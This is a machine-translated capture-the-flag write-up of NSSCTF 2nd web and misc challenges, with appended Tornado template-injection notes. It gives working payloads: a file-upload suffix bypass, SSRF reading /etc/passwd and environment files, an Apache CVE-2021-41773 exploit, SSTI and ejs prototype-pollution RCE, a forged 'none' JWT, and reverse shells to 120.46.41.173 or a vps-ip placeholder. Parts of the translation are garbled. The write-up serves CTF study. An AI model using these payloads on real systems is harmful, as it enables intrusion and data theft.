[NSSCTF 2nd] 2023 dirección web y resolución de problemas de dirección miscelánea wp

WEB

iniciar sesión en php

El código fuente se proporciona directamente.

imagen-20230827141948188

Es una pregunta sobre carga de archivos. Analiza el código fuente.

<?php

function waf($filename){
    
    
    //黑名单
    $black_list = array("ph", "htaccess", "ini");
    //得到文件后缀,【有漏洞】
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
    
    
        //返回$ext字符串从$value第一次出现的位置开始到结尾的字符串。不考虑大小写。
        if (stristr($ext, $value)){
    
    
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    
    
    //将上传的文件名字url解码
    $filename = urldecode($_FILES['file']['name']);
    //得到临时文件(就是上传的文件)的内容,临时文件名字一般是/tmp/phpxxxxxx。
    //这里估计是防止你文件名是日志、/etc、/flag等等,防止造成非预期。
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
    
    
        //文件写入
        file_put_contents($filename, $content);
    } else {
    
    
        echo "Please re-upload";
    }
} else{
    
    
    highlight_file(__FILE__);
}

Si no hay un punto de carga, escriba su propio formulario para cargar. Pensando que aquí también se utilizan nombres de archivos temporales tmp_name, debe escribir su propio formulario para cargar.

<form action="http://node6.anna.nssctf.cn:28370/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

El formulario se coloca en los archivos vps, se accede a ellos y se cargan.


Luego está la cuestión de la omisión del sufijo.

Probé todos los métodos sin éxito. Finalmente concéntrate en pathinfolas funciones.

pathinfo($filename, PATHINFO_EXTENSION);El segundo parámetro es el siguiente:

  • PATHINFO_DIRNAME: devuelve solo nombre de directorio
  • PATHINFO_BASENAME: solo devuelve el nombre base
  • PATHINFO_EXTENSION: solo se devuelven extensiones

imagen-20230827150523130

Pruébala localmente

imagen-20230827150707710

Consulte la línea 4, xxx.xxx/.cuando se utiliza el nombre del archivo, pathinfola función PATHINFO_EXTENSION solo puede quedar vacía.

Al mismo tiempo, cuando la función procesa xxx.xxx/.este tipo de nombre de archivo file_put_contents, lo analizará.El xxx.xxxprincipio debe ser que dos puntos representen el directorio anterior y un punto represente el directorio actual. xxx.xxxNo importa si se mide localmente xxx.xxx/., file_put_contentsla función puede escribir archivos exitosamente en archivos en el directorio actual xxx.xxx.

imagen-20230827152913266

Entonces nuestra idea es cargar uno 111.php/., que se puede analizar en php y evitar el filtrado.

¿Qué? ¿Windows no admite barras diagonales como parte de los nombres de archivos? Está bien, podemos capturar el paquete y cambiar el sufijo, o podemos codificarlo en URL y enviarlo una vez, porque la pregunta requiere la decodificación de URL () $filename = urldecode($_FILES['file']['name']);del nombre del archivo cargado.

Luego subimos el nombre del archivo 111.php%2F%2e.

imagen-20230827153325025

Luego acceda URL/111.phpy obtenga Shell directamente. (la bandera está en la variable de entorno)

imagen-20230827153441885

Artículos de referencia:
Dos o tres cosas sobre pathinfo-Anquanke-Security Information Platform (anquanke.com)

2021/11/29 Carga de archivos: contenido y otra matriz lógica bypass_bypass pathinfo file upload_RPK16@ blog-CSDN blog

¡Feliz segundo aniversario!

Al abrir la pregunta, esta es una pregunta intelectual.

imagen-20230827183439720

El trabajo es bastante bueno, un sistema win12 frontal puro.

imagen-20230827183500052

Haga clic para obtener la bandera.

imagen-20230827183529002

Devuelve una URL, pero solo Tanji puede acceder a ella.

imagen-20230827183552385

El nombre de usuario del sistema es Tanji y se supone que este sistema debería usarse para acceder al sitio web de la bandera.

imagen-20230827183622661

Para encontrar una pista, use curl.

imagen-20230827183649904

Encuentra correr.

imagen-20230827183713732

Abra la terminal. Usa curl para obtener la bandera.

imagen-20230827183800264

Mi caja

Para abrir la pregunta, hay un parámetro enviado en el método GET url.

imagen-20230829100941284

Se especula que aquí existe una vulnerabilidad SSRF. Se intentó leer el pseudoprotocolo /etc/passwdy fue exitoso; existe SSRF.

/?url=file:///etc/passwd

imagen-20230829101135327

Lea la variable de entorno /proc/1/environo lea start.shy obtenga la bandera. (inesperado)

/?url=file:///proc/1/environ

imagen-20230829101334454

Lea el código fuente:/?url=file:///app/app.py

imagen-20230829101443029

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)

Mi Caja (venganza)

Lea el código fuente:/?url=file:///app/app.py

imagen-20230829194015862

El código fuente es básicamente el mismo que antes, lo que evita la entrada inesperada del usuario y la devolución de datos.

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        #防止非预期
        if 'proc' in url or 'flag' in url:
            return 'no!'
        with open(url[7:], 'r') as f:
            data = f.read()
            if url[7:] == '/app/app.py':
                return data
            #双重防止非预期
            if 'NSSCTF' in data:
                return 'no!'
            return data
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)

Encontré un punto de explotación SSRF obvio. Originalmente tenía que usar gopher://el protocolo, pero se modificó y hubo que gopher://reemplazar la cadena mybox://.

    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Primero use gopher://el protocolo para enviar un paquete de solicitud para solicitar un archivo PHP que no existe y recopilar cierta información.

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

Reemplácelo gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
con mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
codificación de URL secundaria.
mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

El paquete se envía hasta que se devuelve el código de estado 404. Puede ver que la versión de Apache aquí es 2.4.49. Esta versión de Apache tiene un recorrido de ruta y una vulnerabilidad RCE (CVE-2021-41773).

imagen-20230829201229508

Usamos gopher://el protocolo para combatir CVE-2021-41773, PUBLICAR el paquete y ejecutar el comando para recuperar el shell.

Para conocer el principio CVE, consulte: https://blog.csdn.net/Jayjay___/article/details/132562801?spm=1001.2014.3001.5501
WEEK5 [Apache inseguro]

import urllib.parse
payload =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

echo;bash -c 'bash -i >& /dev/tcp/120.46.41.173/9023 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求发包所以要进行两次url编码

imagen-20230829202523841

Envíe el paquete al shell de rebote, getflag.

imagen-20230829202512443

Mi huracán

Punto de prueba: inyección de plantilla de tornado

Huracán se traduce como huracán y su sinónimo es tornado. tornado también es una plantilla para Python.

Moví muchas notas relacionadas con la inyección de plantillas de tornados y las puse al final del artículo.


El código fuente se proporciona directamente y CTRL+U parece un poco más claro.

imagen-20230829182410427

Código fuente:

import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{
    
    {', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False
    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())
    def post(self):
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""<html>
                        <head></head>
                        <body style="font-size: 30px;">{
      
      data}</body></html>
                        """)
                f.flush()
            self.render('1.html')
        else:
            self.finish('no no no')

if __name__ == "__main__":
    app = tornado.web.Application([
            (r"/", IndexHandler),
        ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()

Puedes ver que el código fuente está filtrado ', ", __, (, ), or, and, not, { { ,}}

Al igual que la plantilla de matraz, podemos usar {%en su lugar { { .

método uno:

Para evitar caracteres como corchetes y guiones bajos, podemos heredar directamente la plantilla sin comillas para lograr el efecto de leer cualquier archivo.

Capturas de pantalla de notas relevantes: (Esta parte de las notas proviene del blog del maestro yu22x)

imagen-20230829164540860

carga útil: (leer las variables de entorno directamente)

{% extend /proc/self/environ %}

Método dos:

Incluso con tantos filtros, no es imposible ejecutar comandos.

Sin filtrar, nuestra carga útil:

{
   
   {eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}

Con el filtrado, podemos usar la carga útil en el arsenal al final de la nota (reemplazar apropiadamente)

imagen-20230829173114700

__import__('os').system('bash -c \'bash -i >& /dev/tcp/vps-ip/port 0>&1\'')
"""
&ssti={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&
"""

También puedes usar la carga útil de boogipop master: (& se reemplaza por %26)

POST:ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

original:

Este método hace uso de la cobertura variable en tornado, de modo __tt_utf8que habrá dicha llamada evaldurante el renderizado y luego será una cadena maliciosa.__tt_utf8(__tt_tmp)__tt_tmp

De hecho, el segundo método se basa en este principio. Pero al principio estaba confundido acerca del contenido de esta carga útil request.body_arguments[request.method][0]. Veámoslo por separado: primero, la primera parte request.body_argumentsrepresenta los parámetros POST, la segunda parte request.methodrepresenta el método de solicitud actual, que es POST, y la tercera parte [0]aún no se ha explicado. Eso request.body_arguments[request.method][0]significa que el parámetro denominado POST en la solicitud POST [request.method]se puede llamar sin comillas.

Problemas con el análisis de datos de publicaciones de tornados - myworldworld - Blog Park (cnblogs.com)

Shell de rebote con éxito

imagen-20230829183625513

Busque la bandera en la variable de entorno:

imagen-20230829183901658

misjs

Código fuente:

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
    .use(bodyParser.urlencoded({
    
    extended: true}))
    .use(bodyParser.json())
    .use('/static', express.static('static'))
    .set('views', './views')
    .set('view engine', 'ejs')
    .use(session({
    
    
        name: 'session',
        secret: randomize('a', 16),
        resave: true,
        saveUninitialized: true
    }))
    .get('/', (req, res) => {
    
    
        if (req.session.data) {
    
    
            res.redirect('/home');
        } else {
    
    
            res.redirect('/login')
        }
    })
    .get('/source', (req, res) => {
    
    
        res.set('Content-Type', 'text/javascript;charset=utf-8');
        res.send(fs.readFileSync(__filename));
    })
    .all('/login', (req, res) => {
    
    
        if (req.method == "GET") {
    
    
            res.render('login.ejs', {
    
    msg: null});
        }
        if (req.method == "POST") {
    
    
            const {
    
    username, password, token} = req.body;
            const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

            if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
    
    
                return res.render('login.ejs', {
    
    msg: 'login error.'});
            }
            const secret = global.secrets[sid];
            const user = jwt.verify(token, secret, {
    
    algorithm: "HS256"});
            if (username === user.username && password === user.password) {
    
    
                req.session.data = {
    
    
                    username: username,
                    count: 0,
                }
                res.redirect('/home');
            } else {
    
    
                return res.render('login.ejs', {
    
    msg: 'login error.'});
            }
        }
    })
    .all('/register', (req, res) => {
    
    
        if (req.method == "GET") {
    
    
            res.render('register.ejs', {
    
    msg: null});
        }
        if (req.method == "POST") {
    
    
            const {
    
    username, password} = req.body;
            if (!username || username == 'nss') {
    
    
                return res.render('register.ejs', {
    
    msg: "Username existed."});
            }
            const secret = crypto.randomBytes(16).toString('hex');
            const secretid = global.secrets.length;
            global.secrets.push(secret);
            const token = jwt.sign({
    
    secretid, username, password}, secret, {
    
    algorithm: "HS256"});
            res.render('register.ejs', {
    
    msg: "Token: " + token});
        }
    })
    .all('/home', (req, res) => {
    
    
        res.render('home.ejs', {
    
    
        })
    })
    .post('/update', (req, res) => {
    
    
        req.session.data={
    
    
            username: "nss",
            count: 0,
        }
        let data = req.session.data || {
    
    };
        req.session.data = lodash.merge(data, req.body);
        console.log(req.session.data.outputFunctionName);
        console.log({
    
    }.__proto__)
        res.redirect('/home');
    })
    .listen(827, '0.0.0.0')

Abre el tema.

imagen-20230829210344952

Primero registre una cuenta. Después del registro, se me devolverá un token.

imagen-20230829210425694

Verificado que es JWT.

imagen-20230829210509542

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJKYXkxNyIsInBhc3N3b3JkIjoiMTIzNDU2IiwiaWF0IjoxNjkzMzcyODUxfQ.V0s9iHHd49dwK4m3n8Rq0PXItErITsIY8ecu7Da1zOg

Al revisar el código fuente, sabemos por el siguiente código fuente que debemos nssiniciar sesión con el nombre de usuario y, nssdespués de iniciar sesión con el nombre de usuario, /updatepodemos construir la carga útil en el enrutamiento para contaminar el motor de plantillas ejs. ( La función req.session.data = lodash.merge(data, req.body);es mergeuna función de alto nivel que contamina la cadena del prototipo)

            if (!username || username == 'nss') {
    
    
                return res.render('register.ejs', {
    
    msg: "Username existed."});
            }
...
...
...
...
    .post('/update', (req, res) => {
    
    
        req.session.data={
    
    
            username: "nss",
            count: 0,
        }
        let data = req.session.data || {
    
    };
        req.session.data = lodash.merge(data, req.body);
        console.log(req.session.data.outputFunctionName);
        console.log({
    
    }.__proto__)
        res.redirect('/home');
    })
    .listen(827, '0.0.0.0')

Analiza el código fuente e intenta forjar tu identidad nss. El código clave es el siguiente párrafo.

        if (req.method == "POST") {
    
    
            const {
    
    username, password, token} = req.body;
            const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

            if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
    
    
                return res.render('login.ejs', {
    
    msg: 'login error.'});
            }
            const secret = global.secrets[sid];
            const user = jwt.verify(token, secret, {
    
    algorithm: "HS256"});
            if (username === user.username && password === user.password) {
    
    
                req.session.data = {
    
    
                    username: username,
                    count: 0,
                }
                res.redirect('/home');
            } else {
    
    
                return res.render('login.ejs', {
    
    msg: 'login error.'});
            }
        }

Las variables en el código sidestán en JWT secretidy los requisitos no son iguales a undefined, nulletc. Se utiliza una función al validar el nombre de usuario verify; verify()la forma correcta de especificar el algoritmo debe ser algorithmspasando una matriz algorithm.

En el caso algorithmsde none, se permiten firmas y claves vacías; si algorithmsse especifica un algoritmo específico, la clave no puede estar vacía. En la biblioteca JWT, si no se especifica el algoritmo, se utiliza de forma predeterminada none.

Entonces, nuestro objetivo es hacer que la clave de descifrado JWT (secreta) en el código sea nullo undefined.

Además, la clave en el código es una variable secret. global.secrets[sid]Siempre que hagamos de sid una matriz vacía , que es una matriz vacía []en JWT , podemos implementar los pasos anteriores y luego usar el algoritmo vacío (ninguno) para falsificar el JWT. He oído hablar de falsificar JWT con un algoritmo vacío antes. La pregunta de hoy explica en principio por qué JWT se puede falsificar con una clave vacía.secretid[]

Referencia: Analizando el mal uso de la biblioteca JWT en Node.JS a partir de una pregunta de CTF - SecPulse.COM | Security Pulse


Entonces nuestro script para falsificar JWT es el siguiente: (JS)

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
    
    
  secretid: [],
  username: 'nss',
  password: '123456',
  "iat":1693372851
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {
    
    algorithm: 'none'});
console.log(token);

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTMzNzI4NTF9.

Luego inicie sesión con la cuenta nss, la contraseña 123456 y el token como se indica arriba.

imagen-20230830102248439

nssDespués de iniciar sesión correctamente con la identidad, el siguiente paso es la contaminación de la cadena del prototipo. Esta es la contaminación del motor de plantillas ejs, la carga útil previamente guardada puede verse afectada directamente. ( /updateLlame al enrutador)

imagen-20230829223807292

{
    
    
    "__proto__":{
    
    
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');","compileDebug":true
    }
}

Los paquetes se envían en formato json en burp. Si el disparo no tiene éxito después de disparar, actualice o dispare nuevamente.

imagen-20230830132910601

El vps recibe el shell de rebote y obtiene la bandera en la variable de entorno.

imagen-20230830132953558

MISC

regalo_en_qrcode

Si me das el código fuente directamente, realmente obtendrás las preguntas gratis.

import qrcode
from PIL import Image
from random import randrange, getrandbits, seed
import os
import base64

flag = os.getenv("FLAG")
if flag == None:
    flag = "flag{test}"

secret_seed = randrange(1, 1000)
seed(secret_seed)

reveal = []
for i in range(20):
    reveal.append(str(getrandbits(8)))
target = getrandbits(8)
reveal = ",".join(reveal)

img_qrcode = qrcode.make(reveal)
img_qrcode = img_qrcode.crop((35, 35, img_qrcode.size[0] - 35, img_qrcode.size[1] - 35))

offset, delta, rate = 50, 3, 5
img_qrcode = img_qrcode.resize(
    (int(img_qrcode.size[0] / rate), int(img_qrcode.size[1] / rate)), Image.LANCZOS
)
img_out = Image.new("RGB", img_qrcode.size)
for y in range(img_qrcode.size[1]):
    for x in range(img_qrcode.size[0]):
        pixel_qrcode = img_qrcode.getpixel((x, y))
        if pixel_qrcode == 255:
            img_out.putpixel(
                (x, y),
                (
                    randrange(offset, offset + delta),
                    randrange(offset, offset + delta),
                    randrange(offset, offset + delta),
                ),
            )
        else:
            img_out.putpixel(
                (x, y),
                (
                    randrange(offset - delta, offset),
                    randrange(offset - delta, offset),
                    randrange(offset - delta, offset),
                ),
            )

img_out.save("qrcode.png")
with open("qrcode.png", "rb") as f:
    data = f.read()
print("This my gift:")
print(base64.b64encode(data).decode(), "\n")

print(target)

ans = input("What's your answer:")
if ans == str(target):
    print(flag)
else:
    print("No no no!")

Simplificalo

print(target)

ans = input("What's your answer:")
if ans == str(target):
    print(flag)

Abra el entorno y conéctese a nc.

imagen-20230827154740587

Muelle mágico

Descripción del título: docker run randark/nssctf-round15-magic-docker

imagen-20230827155914816

devolver:

Digest: sha256:a0222d7e8928e185349502a683e64db5cab4a416b4a30f43f9d318b3dca72d28
Status: Downloaded newer image for randark/nssctf-round15-magic-docker:latest

You need to give me the secret!

imagen-20230827160553405

carga útil:

docker run -it randark/nssctf-round15-magic-docker /bin/bash

imagen-20230827160543244

Primero, docker run -it randark/nssctf-round15-magic-dockersignifica randark/nssctf-round15-magic-dockercrear un contenedor para esta imagen.

-iLa opción le indica a Docker que abra una interfaz de entrada estándar en el contenedor y -tque cree una terminal pseudo-tty para conectarse a la interfaz de entrada estándar del contenedor.

La función de este último /bin/bashes cargar el contenedor y ejecutarlo bash. Docker debe mantener un proceso en ejecución, de lo contrario todo el contenedor se matará inmediatamente después de iniciarse, lo que /bin/bashsignifica iniciar bash después de iniciar el contenedor.

inyección de plantilla de tornado

Declaraciones de control
De manera similar a flask-jinja2, las plantillas en tornado también pueden usar declaraciones de control como for, if, while, etc., y también están empaquetadas de la misma manera {%%}. Entre ellos, break continue también {%%}se puede utilizar a través de paquetes.
Pero la diferencia es que el final es fijo {% end %}.

{% for i in range(10)%}
	{
   
   {i}}
{%end%}
{% if 1>2%}
    1
{%elif 1==2%}
    2
{%else%}
    3
{% end%}

Expresión La
expresión { {}}se envuelve usando.

{
   
   {i=10}}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

{%set i=10%}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

La definición de variables
se puede realizar directamente mediante { {i=1}}asignación directa, pero una mejor manera es mediante conjunto.

{% set i=1 %}

Estas etiquetas se pueden transferir a { {!, {%!y, {#!
si se desea, contener texto { { , {%, o {#usarse en la salida.

Aplicar una función a la salida entre todas las plantillas.
{% apply *function* %}...{% end %}

 {% apply linkify %}{
   
   {name}} 
 	said: {
   
   {message}}
 {% end %}

Establecer el modo AutoEscape del archivo actual
{% autoescape *function* %}

Esto no afecta a otros archivos, ni siquiera a aquellos a los que se hace referencia {% include %}. Tenga en cuenta que autoescapingtambién se puede configurar para que tenga efecto globalmente, o en .Applicationo Loader.

{% autoescape xhtml_escape %}
{% autoescape None %}

Reemplazo de plantilla
{% block *name* %}...{% end %}

Especifica un bloque que se puede reemplazar {% extends %}.
Los bloques del bloque principal se pueden reemplazar por bloques de palabras, por ejemplo:

<!-- base.html -->
<title>{% block title %}Default title{% end %}</title>

<!-- mypage.html -->
{% extends "base.html" %}
{% block title %}My page title{% end %}

Tornado de herencia de plantilla
puede usar las etiquetas de extensión e inclusión para declarar que la plantilla se heredará.

imagen-20230829135231656

Aquí encontramos el primer punto que se puede explotar que es la lectura de archivos. (puede estar sin comillas)

{% extends "/etc/passwd"%}
{% include "/etc/passwd"%}

Importar módulos/paquetes

{% import *module* %}
{% from *x* import *y* %}

Esto parece jugar un papel importante en nuestra utilización.
Sabemos que os, sys y otros paquetes no se pueden usar directamente en la plantilla, pero luego los introducimos mediante la importación. Podemos intentarlo. El descubrimiento es posible.

{% import os %}
{
   
   {os.popen("ls").read()}}

imagen-20230829135331889

bucle for Esto es lo mismo
{% for *var* in *expr* %}...{% end %}
que el de Python . La declaración AND se puede utilizar en el cuerpo de un bucle.for{% break %}{% continue %}

Si
{% if *condition* %}...{% elif *condition* %}...{% else %}...{% end %}
la expresión de rama es verdadera, se generará la primera declaración condicional (ambas entre elify elseson opcionales)

La declaración while
{% while *condition* %}... {% end %} es la misma que la declaración de Python while. {% break %}y {% continue %}se puede utilizar en un bucle while.

Establece el modo de espacio en blanco restante para el archivo actual
{% whitespace *mode* %} (que {% whitespace %}no finalizará hasta que se encuentre el siguiente). Consulte filter_whitespacelas opciones disponibles, desde Tornado 4.3.

El módulo Render UI
{% module *expr* %}
representa un archivo ~tornado.web.UIModule. La salida de no UIModuletiene
escape::

    {
    
    % module Template("foo.html", arg=42) %}

``UIModules`` are a feature of the `tornado.web.RequestHandler`
class (and specifically its ``render`` method) and will not work
when the template system is used on its own in other contexts.

Salida sin escape
{% raw *expr* %}
La expresión resultante se genera sin escape automático.

Manejo de excepciones
{% try %}...{% except %}...{% else %}...{% finally %}...{% end %}
Esto es lo mismo que tryla declaración de Python.

Funciones y variables

Algunas funciones o variables que se pueden utilizar directamente en la plantilla.

imagen-20230829135409997

escape/xhtml_escape
tornado.escape.xhtml_escape alias
Escapa de una cadena para hacerla válida en HTML o XML.
Los caracteres de escape incluyen<, >, ", ', 和 &.

imagen-20230829135520411

url_escape
tornado.escape.url_escape alias
se utiliza para la codificación de URL.

json_encode
json codifica el objeto Python especificado

def json_decode(value):
    return json.loads(to_basestring(value))


El alias de squeeze
tornado.escape.squeeze utiliza un solo espacio para reemplazar la secuencia de todos los caracteres de espacio, será más fácil de entender si observa el código fuente.

def squeeze(value):
    return re.sub(r"[\x00-\x20]+", " ", value).strip()

linkify
tornado.escape.linkify
convierte texto sin formato a HTML con enlaces,
por ejemplo, linkify("Hello http://tornadoweb.org!") que volverán Hello <a href="http://tornadoweb.org">http://tornadoweb.org</a>!

datetime
Módulo de fecha y hora de Python
Por ejemplo { { datetime.date(2022,3,7)}} devuelve 2022-03-07

Omitir filtrado{ {
Podemos usarlo {%.
Al mismo tiempo , {%autoescape None%}{%raw ...%}puede ser equivalente a { { }}, así está escrito en la documentación oficial.

Cadena de filtro de derivación

El objeto RequestHandler actual del controlador
también es la clase base para el procesamiento de solicitudes HTTP en tornado,
por lo que lo que podemos usar en este objeto depende de su código fuente . El contenido es un poco abrumador.
Puedes ver lo que se ha usado antes.handler.settings

Insertar descripción de la imagen aquí

Imprima todo su contenido invocable a través del directorio de la siguiente manera

['SUPPORTED_METHODS', '_INVALID_HEADER_CHAR_RE', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_break_cycles', '_clear_representation_headers', '_convert_header_value', '_decode_xsrf_token', '_execute', '_get_argument', '_get_arguments', '_get_raw_xsrf_token', '_handle_request_exception', '_initialize', '_log', '_remove_control_chars_regex', '_request_summary', '_stream_request_body', '_template_loader_lock', '_template_loaders', '_transforms', '_ui_method', '_ui_module', '_unimplemented_method', 'add_header', 'check_etag_header', 'check_xsrf_cookie', 'clear', 'clear_all_cookies', 'clear_cookie', 'clear_header', 'compute_etag', 'cookies', 'create_signed_value', 'create_template_loader', 'current_user', 'data_received', 'decode_argument', 'delete', 'detach', 'finish', 'flush', 'get', 'get_argument', 'get_arguments', 'get_body_argument', 'get_body_arguments', 'get_browser_locale', 'get_cookie', 'get_current_user', 'get_login_url', 'get_query_argument', 'get_query_arguments', 'get_secure_cookie', 'get_secure_cookie_key_version', 'get_status', 'get_template_namespace', 'get_template_path', 'get_user_locale', 'head', 'initialize', 'locale', 'log_exception', 'on_connection_close', 'on_finish', 'options', 'patch', 'path_args', 'path_kwargs', 'post', 'prepare', 'put', 'redirect', 'render', 'render_embed_css', 'render_embed_js', 'render_linked_css', 'render_linked_js', 'render_string', 'require_setting', 'reverse_url', 'send_error', 'set_cookie', 'set_default_headers', 'set_etag_header', 'set_header', 'set_secure_cookie', 'set_status', 'settings', 'static_url', 'write', 'write_error', 'xsrf_form_html', 'xsrf_token']

Presionemos esto primero. Primero apliquemos la sintaxis de la inyección de plantilla anterior de flask-jinja2.

{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}

{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

Después de las pruebas, descubrí que todavía son completamente utilizables. Después de todo, son independientes de las plantillas en Python.
Echemos un vistazo a esto handler: dado que también es humano, class¿podemos llamar directamente __init__al método de inicialización?

{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

ningún problema.
Es decir, sin ningún filtrado, la inyección de plantilla de tornado y matraz es aproximadamente la misma.
¿Qué pasa si hay filtrado? Entonces podemos considerar la gran cantidad de métodos invocables antes.

{
   
   {handler.get_argument('yu')}}   //比如传入?yu=123则返回值为123
{
   
   {handler.cookies}}  //返回cookie值
{
   
   {handler.get_cookie("data")}}  //返回cookie中data的值
{
   
   {handler.decode_argument('\u0066')}}  //返回f,其中\u0066为f的unicode编码
{
   
   {handler.get_query_argument('yu')}}  //比如传入?yu=123则返回值为123
{
   
   {handler.settings}}  //比如传入application.settings中的值

其他的很多方法也是可以获得一些字符串,这里就不一一列出了。

pedido

{
   
   {request.method}}  //返回请求方法名  GET|POST|PUT...
{
   
   {request.query}}  //传入?a=123 则返回a=123
{
   
   {request.arguments}}   //返回所有参数组成的字典
{
   
   {request.cookies}}   //同{
   
   {handler.cookies}}
{
   
   {request.body}}       //返回的是请求的主体,可以理解为返回了post里的所有内容。

Las dos funciones principales mencionadas anteriormente son obtener cadenas, que pueden evitar el filtrado de cadenas.

Omitir filtrado_

globals()
La función globals() en Python devolverá todas las variables globales en la ubicación actual en un tipo de diccionario.
Anteriormente, descubriría que esto no se puede llamar directamente en el matraz. Echemos un vistazo a la situación en el tornado.

imagen-20230829140849577

Podemos encontrar que se puede usar directamente en tornado. Lo que nos entusiasma aún más es que podemos llamar directamente a algunos métodos iniciales de Python. Por ejemplo, parece que __import__、eval、print、hex等
nuestra carga útil puede ser más concisa.

{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

El segundo método tiene más bien el propósito que acabamos de mencionar: evitar el _filtrado correcto.

{
   
   {eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()

Debido a que no hay filtros en un tornado, .nos resultará difícil evitar el filtrado.

Omitir cotizaciones de filtro

{
   
   {eval(handler.get_argument(request.method))}}

然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理。

